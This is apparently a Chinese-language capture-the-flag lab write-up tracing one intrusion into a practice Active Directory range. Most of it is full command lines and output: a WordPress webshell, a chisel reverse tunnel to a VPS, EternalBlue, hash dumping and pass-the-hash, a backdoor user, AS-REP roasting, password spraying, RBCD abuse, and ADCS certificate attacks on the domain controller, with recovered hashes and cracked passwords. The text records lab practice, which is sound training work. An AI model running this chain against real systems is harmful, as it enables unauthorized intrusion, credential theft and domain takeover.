外网拿shell
给了个ip,进去之后发现是个页面,直接开扫
有很多干扰项

http://39.99.234.230/wp-login.php?redirect_to=http%3A%2F%2F39.99.234.230%2Fwp-admin%2F&reauth=1
是一个登录框,admin/123456登陆进去
找模板编辑写一句话🐎

有个疑问,他们是怎么找到路径的?
因为拼接路径是wordpress的传统
/wp-content/themes/twentytwentyone/footer.php


成功拿shell

注意哥斯拉传fscan要用大文件传输

反代
vps上执行./chisel server -p 12345 –reverse
靶机上执行./chisel client 47.237.99.196:12345 R:0.0.0.0:1080:socks
做代理转发

注意fscan不支持socks代理,所以得把fscan传进目录里边
注意上传fscan执行前要chmod +x赋予执行权限
./fscan -h 172.22.15.0/24
扫描全网段后结果就在同目录下的result.txt


这几个是活着的
[2025-07-09 17:08:08] [HOST] 目标:172.22.15.26 状态:alive 详情:protocol=ICMP
[2025-07-09 17:08:08] [HOST] 目标:172.22.15.18 状态:alive 详情:protocol=ICMP
[2025-07-09 17:08:08] [HOST] 目标:172.22.15.13 状态:alive 详情:protocol=ICMP
[2025-07-09 17:08:08] [HOST] 目标:172.22.15.35 状态:alive 详情:protocol=ICMP
[2025-07-09 17:08:08] [HOST] 目标:172.22.15.24 状态:alive 详情:protocol=ICMP
看大哥的复现可以提取出已下信息
172.22.15.26 入口
172.22.15.24 MS17-010 web服务
172.22.15.35 XR-0687 域成员
172.22.15.18 XR-CA
172.22.15.13 DC
永恒之蓝打24
开放445端口的
msf6 > setg Proxies socks5:47.237.99.196:1080
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp_uuid
payload => windows/x64/meterpreter/bind_tcp_uuid
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 172.22.15.24
rhosts => 172.22.15.24
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
直接拿下,爽


代理一改就能访问内网别的机器啦

抓一下hush
就是 提取 Windows 本地用户密码的哈希值,为下一步的破解、横向渗透等操作准备“钥匙”。
meterpreter > hashdump
^[Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e52d03e9b939997401466a0ec5a9cbc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Administrator: 用户名
500: 用户RID
aad3b435b51404eeaad3b435b51404ee: LM哈希
0e52d03e9b939997401466a0ec5a9cbc::: NTLM哈希
Guest:
501:
aad3b435b51404eeaad3b435b51404ee:
31d6cfe0d16ae931b73c59d7e0c089c0:::
拿NTLM哈希进行哈希传递攻击,其中要求目标服务器开启445端口(SMB负责远程登录那些)
psexec.py 背后的过程是:
- 通过 445端口连接目标
- 使用 Administrator 账号+NTLM哈希 进行 SMB 认证
- 在目标系统上 写入并运行一个服务(类似
PSEXESVC.exe) - 使用该服务作为通信通道,发送命令并接收回显
proxychains psexec.py administrator@172.22.15.24 -hashes ‘:0e52d03e9b939997401466a0ec5a9cbc’ -codec gbk
笑死中间socks挂了一直显示失败

proxychains psexec.py administrator@172.22.15.24 -hashes ‘:0e52d03e9b939997401466a0ec5a9cbc’ -codec gbk
直接狠狠拿下!

flag一般放在user或根目录下、
C:\Windows\system32> dir C:\Users
驱动器 C 中的卷没有标签。
卷的序列号是 46D4-3B9F
C:\Users 的目录
2023/02/01 12:30
2023/02/01 12:30
2023/06/05 14:55
2009/07/14 12:57
0 个文件 0 字节
4 个目录 27,616,792,576 可用字节

拿下第二个flag
第二台机器横向渗透
systeminfo查看总体情况

发现只是workgroup
说明没有加入域, 非域控、非域成员机 ,横向移动受限,价值较低
net user发现也没有其他用户

因为当时只是用哈希骗进去拿到了权限,并不能像远程桌面登录那样直接进去,所以要新建用户
1 | net user qiushanth qs9985** /add 新建用户qiushanth 密码:qs9985** |
reg query “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections
显示0x0,说明rdp已经启用
如果是0x1,那么执行下面命令来打开
reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group=”remote desktop” new enable=Yes
但是开完全局代理也连接不上呀

只能从80端口开的服务打起了
用火狐搞代理就行
记得有phpstudy服务
看开启了phpmyamdin服务,因为phpmyadmin的账号密码就是数据库的账号密码,所以没法搞
所以 得通过phpstudy翻数据库账号密码
C:\phpstudy_pro\WWW\config里边一个config.php文件,type看到其内容为
* The config file of zentaophp. Don’t modify this file directly, copy the item to my.php and change it.
说明是在my.php里边

所以现在是要找my.php

$config->db->host = ‘127.0.0.1’;
$config->db->port = ‘3306’;
$config->db->name = ‘zdoo’;
$config->db->user = ‘root’;
$config->db->password = ‘root@#123’;
$config->db->prefix = ‘zdoo’;
ok那我们登录phpmyadmin

数据库有这些

我们要拿OA的用户密码本
- information_schema:系统数据库,存放数据库元数据,跟业务数据无关,不用管它。
- mysql:系统数据库,存放MySQL本身的用户权限信息等,也不用管。
- performance_schema 和 sys:也是MySQL内部性能相关的数据库,不是业务数据。
- zdoo:这个名字看起来像OA系统用的业务数据库。
查看zdoo数据库,翻user

zdoosys_user内容为我们想要的oa密码本

这些邮箱一看就是 标准的域用户名格式啊
搜索拿到用户名然后导出

哈希密码喷洒攻击
proxychains GetNPUsers.py xiaorang.lab/ -dc-ip 172.22.15.13 -usersfile user.txt -request -outputfile hash.txt
proxychains 挂代理
GetNPUsers.py
- 针对 Kerberos AS-REP Roasting 攻击,枚举域内用户并获取没有开启“需要预身份验证”(Pre-Authentication) 的账户的 Kerberos AS-REP 响应。
- 它会尝试从域控制器请求用户的 AS-REP 数据包(如果用户允许),从中提取可用于离线破解的哈希。
xiaorang.lab/
- 指定了 目标域名。
xiaorang.lab是目标Active Directory域名。- 域名就是 Active Directory 环境的“网络身份”,告诉工具“我要操作的是哪一块网络和用户资源”。
-dc-ip 172.22.15.13 -
usersfile user.txt -request
对指定的user表发起请求
导出对应出来的密码哈希值
-outputfile hash.txt
$krb5asrep$23$huachunmei@XIAORANG.LAB:626beeccfcee265c8ce7f4535dcf8c7a$3aa033b695b49dc77a3cf4bcefce2c2c625a8478ab3e7bcf23097af4871d22782fc37ab3162342a1e7802328e316daeb37aaaec60dc0552a8a3429d499da6f9a87b3f29530d99ee2d4f2d946344927e13d945e93256ffe18327346ff70f35503bfe695d0d0dcec7a88b5a22d763d184aff8ea34d88ecafaeccabfa3adf5c432e63c4feae542de0c76f7f8d64f16725c6c58572fbc4fba698dad73a5001f7fccf3ee823dd3ec23aeae0ab4147f4f8ef8029112a16fb6c4706286dfad4d3d0d46fbe22987342d35665e5663f928133ce0c0d7a35e01383911c0210d78e5d40a0e22648ef2c29fe89a3efc73e21
$krb5asrep$23$lixiuying@XIAORANG.LAB:604fef13fa7e2098b2f7c9d6d8bf93d8$b09d98fd6eb5b23119351faa360feaf4a7eba953d16cb505e78b2b31f48da96f5b640ca7436b502e4e6627fb402f7f70b331d5cffcd9fcf92c3268f22a21926966727b106e13ae721a1bfa66261e3fd2ff6f11dadc150e4e31db7f4f3a90619e601101fc53dffbdb065c923d4169d2a6cbcbadbde4aacc99728f7ae4f057b01f80abf3309dadd8e2f345f6903e96100efb965768d57ca70598b3ff06ca5a03e4fad2083ab9cc9c7ce46913d68e7c2bf2022e22c8ffee56b15c94ca8f18825ed3964445d6395a13efb6da3674aca7ab02456a6786cbf0bcdc776c953ac847a69bfd0e5622821435243b48dda2
导出的哈希进行破译
直接破译
qiushanth@LAPTOP-C9HA07R3:~/dic$ hashcat -m 18200 hash.txt ~/wordlists/rockyou.txt –force
lixiuying@XIAORANG.LAB/winniethepooh
huachunmei@XIAORANG.LAB/1qaz2wsx

crackmapexec rdp 启动,利用爆出来的凭据一个个探测是否开启rdp以及是否能登录
proxychains crackmapexec rdp 172.22.15.0/24 -u lixiuying -p winniethepooh -d XIAORANG.LAB
proxychains crackmapexec rdp 172.22.15.0/24 -u huachunmei -p 1qaz2wsx -d XIAORANG.LAB
然鹅这俩命令执行结果都是如下,显示报错,试了各种方法都不行
smb探测
所以试试smb吧
proxychains -q crackmapexec smb 172.22.15.0/24 -u ‘lixiuying’ -p ‘winniethepooh’ -d XIAORANG.LAB
proxychains -q crackmapexec smb 172.22.15.0/24 -u ‘huachunmei’ -p ‘1qaz2wsx’ -d XIAORANG.LAB
SMB 172.22.15.13 445 XR-DC01 [+] XIAORANG.LAB\lixiuying:winniethepooh
SMB 172.22.15.18 445 XR-CA [+] XIAORANG.LAB\lixiuying:winniethepooh
SMB 172.22.15.35 445 XR-0687 [+] XIAORANG.LAB\lixiuying:winniethepooh
SMB 172.22.15.13 445 XR-DC01 [+] XIAORANG.LAB\huachunmei:1qaz2wsx
SMB 172.22.15.18 445 XR-CA [+] XIAORANG.LAB\huachunmei:1qaz2wsx
SMB 172.22.15.35 445 XR-0687 [+] XIAORANG.LAB\huachunmei:1qaz2wsx
试试成功的,用rdp连接试试,smb相比rdp来说可以更快速判断,所以在smb密码喷洒之后再用rdp来搞
其实要搞的就是13,18,35,因为前面fscan已经搞过了一遍了
接管35后继续渗透
┌──(root㉿LAPTOP-C9HA07R3)-[/home/qiushanth/dic]
└─# proxychains netexec rdp 172.22.15.35 172.22.15.18 172.22.15.13 -u ./username.txt -p ./password.txt –continue
哭了,这个netexec工具比cme好用多了
RDP 172.22.15.35 3389 XR-0687 [+] xiaorang.lab\lixiuying:winniethepooh (Pwn3d!)
RDP 172.22.15.35 3389 XR-0687 [+] xiaorang.lab\huachunmei:1qaz2wsx (Pwn3d!)
如果你是在受控机器上运行,也可以用 Windows 的 SharpHound.exe:
注意登录用户名前面要加域

对域控做信息探测
proxychains bloodhound-python -u lixiuying -p winniethepooh -d xiaorang.lab -c all -ns 172.22.15.13 –zip –dns-tcp
因为这个工具走的是smb和ldap协议,前边smb密码喷洒已经显示能拿下了,所以这么搞针对域控可以实现对其的很好的架构探测
| 参数 | 含义 |
|---|---|
-u, -p |
登录使用的域用户密码 |
-d |
域名(FQDN)如 xiaorang.lab |
-c all |
所有收集模块都启用 |
-ns |
指定 DNS 域控服务器 |
--zip |
抓取完后自动打包为 zip 可导入 BloodHound |
--dns-tcp |
强制使用 TCP DNS 查询(稳定) |
proxychains |
强制走代理,如你连域控需穿透网络 |
来一波信息搜集

bloodbound打开,看这个用户出站权限

配置RBCD接管
可以看到 lixiuying 对 XR-0687 具有 GenericWrite 权限(写权限)
毕竟lixiuying只是普通的域用户而已,并不能:
- 添加用户;
- dump 哈希;
- 控制 AD;
- 横向攻击其他机器;
- 域控提权。
所以我们需要利用lixiuying来走RBCD配置获取
达到管理的目的
| 步骤 | 工具 | 动作说明 |
|---|---|---|
| 1️⃣ | addcomputer |
创建 TEST$ 伪装账户 |
| 2️⃣ | rbcd |
设置 XR-0687 的 RBCD,让它信任 TEST$ |
| 3️⃣ | getST |
以 TEST$ 身份伪装成 Administrator 拿票据 |
| 4️⃣ | psexec |
使用 Kerberos 票据远程执行管理员命令(成功横向或提权) |
proxychains addcomputer.py xiaorang.lab/lixiuying:’winniethepooh’ -dc-ip 172.22.15.13 -dc-host xiaorang.lab -computer-name ‘TEST$’ -computer-pass ‘P@ssw0rd’
- 使用
lixiuying这个普通域用户账户,在域控上创建一个新的计算机账户TEST$。 - 指定密码为
P@ssw0rd。 - 这个计算机账户就是你接下来伪装的“跳板”。
- 一个普通用户最多创建10个

proxychains rbcd.py xiaorang.lab/lixiuying:’winniethepooh’ -dc-ip 172.22.15.13 -action write -delegate-to ‘XR-0687$’ -delegate-from ‘TEST$’
- 给
XR-0687$机器对象写入了msDS-AllowedToActOnBehalfOfOtherIdentity属性。 - 意思是:让
TEST$可以代表任何用户(比如 Administrator)去访问XR-0687。

proxychains getST.py xiaorang.lab/‘TEST$’:‘P@ssw0rd’ -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13
- 用
TEST$身份向域控请求一个 Service Ticket(TGS): - 说:“我是 TEST$,我想模拟 Administrator 来访问 CIFS/XR-0687。”
- 如果 RBCD 设置成功,域控会给你这个票据 ✅

export KRB5CCNAME=$(pwd)/Administrator@cifs_XR-0687.xiaorang.lab@XIAORANG.LAB.ccache
告诉系统“Kerberos 票据就在这里
proxychains psexec.py administrator@XR-0687.xiaorang.lab \
-k -no-pass \
-dc-ip 172.22.15.13 \ 域控
-target-ip 172.22.15.35 你创造用户的ip
- 使用
-k参数代表 使用当前 kerberos 票据(也就是你上一步拿到的) -no-pass表示不使用密码,而是凭票据访问psexec.py会尝试在XR-0687上以Administrator执行命令,开启 shell、dump flag 等都行- 普通域用户
RBCD接管总结
│
├─➤ addcomputer.py ← 添加机器账户 TEST$
│
├─➤ rbcd.py ← 把 TEST$ 授权为 XR-0687$ 的代理
│
├─➤ getST.py ← TEST$ 冒充 Administrator 拿票据
│
└─➤ psexec.py ← 使用票据登录 XR-0687,获取 SYSTEM
也就是 利用一个“能写属性的低权限用户”,构造一个“合法的域内委派链条”,最终“冒充管理员访问目标主机”。 达到提权的目的

获得交互式shell然后读取flag
第三台机器
ADCS漏洞尝试
现在来看,我们还剩下这俩没打
172.22.15.18 XR-CA
CA是证书服务器,扫了下也没啥玩的,剩1个flag应该是要拿到dc
172.22.15.13 DC
尝试利用 ADCS(Active Directory Certificate Services)漏洞,从目标域控制器中获取可用于后续攻击的哈希(NTLM)或证书
proxychains -q certipy-ad find -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13 -vuln
proxychains -q |
通过代理静默执行 certipy-ad |
|---|---|
certipy-ad |
用于滥用 ADCS(域证书服务)漏洞的工具 |
|---|---|
find |
扫描域中是否存在潜在可滥用的证书模板和配置 |
|---|---|
-u lixiuying@xiaorang.lab |
域用户账户名 |
|---|---|
-p winniethepooh |
该账户密码 |
|---|---|
-dc-ip 172.22.15.13 |
指定域控制器的 IP 地址 |
|---|---|
-vuln |
检测是否存在可利用的 ADCS 漏洞(ESC1~ESC8 等) |
|---|---|
用 certipy 先枚举一遍可利用的证书模版(
尝试 ADCS 获取Hash
)
proxychains -q certipy-ad find -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13 -vulnerable -stdout
Certipy v5.0.2 - by Oliver Lyak (ly4k)
试一下cve提权

写一下用户
1
proxychains -q certipy-ad account create \
-user ‘hacker2$’ \
-pass ‘Admin@123’ \
-dns XR-DC01.xiaorang.lab \
-dc-ip 172.22.15.13 \
-u lixiuying \
-p ‘winniethepooh’
- 用已有的低权限域用户(lixiuying)
- 在 Active Directory 中新建了一个计算机账户 hacker2$
- 并且:
- 设置了这个机器账户的密码为:
Admin@123 - 设置了
dnsHostName为:XR-DC01.xiaorang.lab(你假装它是域控)
为计算机账户请求模板
proxychains -q certipy-ad req -u ‘hacker2$@xiaorang.lab’ -p ‘Admin@123’ -ca ‘xiaorang-XR-CA-CA’ -target 172.22.15.18 -template ‘Machine’
这条命令的作用是:使用 Certipy 工具,通过“机器模板(Machine Template)”请求一个机器账户(**hacker2$**)的证书,从而获取它的凭据,以便后续利用(比如伪造 Kerberos 票据、Pass-the-Cert 等)。
具体步骤和参数解释:
proxychains -q:通过代理链运行命令,保持流量走代理,-q是安静模式减少输出。certipy-ad req:调用 Certipy 工具的“请求证书”功能。-u 'hacker2$@xiaorang.lab':用来认证的用户,这里是新建的机器账户hacker2$。-p 'Admin@123':对应的密码。-ca 'xiaorang-XR-CA-CA':指定证书颁发机构(CA)名字。-target 172.22.15.18:目标服务器 IP,通常是域控的 ADCS 服务所在地址。-template 'Machine':请求的证书模板,机器模板。
拿机器账户nt hash
proxychains -q certipy-ad auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13
用你刚申请到的机器证书 xr-dc01.pfx 来进行身份验证,尝试通过 PKINIT(证书认证)获取域控的 TGT(票据授予票证)。
成功拿到 TGT 后,它会保存一个 Kerberos 凭据缓存文件 xr-dc01.ccache。
接着,利用拿到的 TGT 去请求域控机器账户 xr-dc01$ 的 NT Hash(密码哈希值)。
最终输出了该账户的 NT Hash。
┌──(root㉿LAPTOP-C9HA07R3)-[/home/qiushanth/dic]
└─# proxychains -q certipy-ad auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN DNS Host Name: ‘XR-DC01.xiaorang.lab’
[*] Using principal: ‘xr-dc01$@xiaorang.lab’
[*] Trying to get TGT…
[*] Got TGT
[*] Saving credential cache to ‘xr-dc01.ccache’
[*] Wrote credential cache to ‘xr-dc01.ccache’
[*] Trying to retrieve NT hash for ‘xr-dc01$’
[*] Got hash for ‘xr-dc01$@xiaorang.lab’: aad3b435b51404eeaad3b435b51404ee:8b0a575a4d99a0b8f5a8878285942727

但是后边尝试用该机器nt hash来请求导出所有用户的hash,但是失败了
提取证书和私钥
certipy-ad cert -pfx xr-dc01.pfx -nokey -out dc01.crt
certipy-ad cert -pfx xr-dc01.pfx -nocert -out dc01.key
通过证书认证写入 RBCD(资源约束委派)权限 (授权)
proxychains -q passthecert.py \
-action write_rbcd \
-crt /home/qiushanth/PassTheCert/Python/test.crt \
-key /home/qiushanth/PassTheCert/Python/test.key \
-domain xiaorang.lab \
-dc-ip 172.22.15.13 \
-delegate-to ‘XR-DC01$’ \
-delegate-from ‘hacker2$’
proxychains -q |
使用代理链(常用于穿透代理连接 AD) |
|---|---|
passthecert.py |
利用证书进行身份认证的攻击脚本 |
|---|---|
-action write_rbcd |
操作类型为 写入 RBCD 权限 |
|---|---|
-crt / -key |
使用 .crt 和 .key 文件进行身份认证 |
|---|---|
-domain xiaorang.lab |
指定目标域 |
|---|---|
-dc-ip 172.22.15.13 |
域控 IP |
|---|---|
-delegate-to 'XR-DC01$' |
目标计算机账号,你要让谁被委派(通常是域控) |
|---|---|
-delegate-from 'hacker2$' |
当前你控制的机器账号,要赋予其委派能力 |
|---|---|
这条命令的作用是:让 hacker2$ 这个机器账号获得对 XR-DC01$ 的伪装权限,从而可以假冒任意用户访问它(例如假冒 Administrator 登录域控)

获得伪造票据
proxychains -q getST.py xiaorang.lab/‘hacker2$’:‘Admin@123’ -dc-ip 172.22.15.13 -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator
使用 hacker2$ 的凭据,假冒 Administrator,请求访问 XR-DC01.xiaorang.lab 上的共享服务的 Kerberos 票据(TGS),从而达到“模拟域管访问目标机器”的目的。

| 参数 | 说明 |
|---|---|
proxychains -q |
使用代理(静默模式,不输出代理信息)——适用于目标必须走 socks 代理的情况(如 Cobalt Strike Beacon)。 |
getST.py |
Impacket 工具之一,用于获取服务票据(TGS)。这是 S4U2Self + S4U2Proxy 攻击的核心脚本。 |
xiaorang.lab/'hacker2$':'Admin@123' |
身份认证信息: • xiaorang.lab 是域名 • hacker2$ 是计算机账户名 • Admin@123 是它的密码(可控主机的密码) |
-dc-ip 172.22.15.13 |
指定域控制器(Domain Controller)的 IP 地址。 |
-spn cifs/XR-DC01.xiaorang.lab |
服务主体名称(SPN):你想访问的目标服务。 这里是 XR-DC01 的 CIFS(共享服务),用于模拟登录目标机器。 |
-impersonate Administrator |
要假冒的用户,这里是域管 Administrator。 前提是你设置过 RBCD(资源委派权限)。 |
设置然后接管

┌──(root㉿LAPTOP-C9HA07R3)-[/home/qiushanth]
└─# export KRB5CCNAME=/home/qiushanth/Administrator@cifs_XR-DC01.xiaorang.lab@XIAORANG.LAB.ccache
┌──(root㉿LAPTOP-C9HA07R3)-[/home/qiushanth]
└─# proxychains -q psexec.py -k -no-pass -dc-ip 172.22.15.13 administrator@XR-DC01.xiaorang.lab -codec gbk
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
使用缓存的 Kerberos 票据(不提供密码),通过 psexec 模拟登录目标主机 XR-DC01.xiaorang.lab,以 administrator 身份执行命令,走代理,并设置输出编码为 gbk。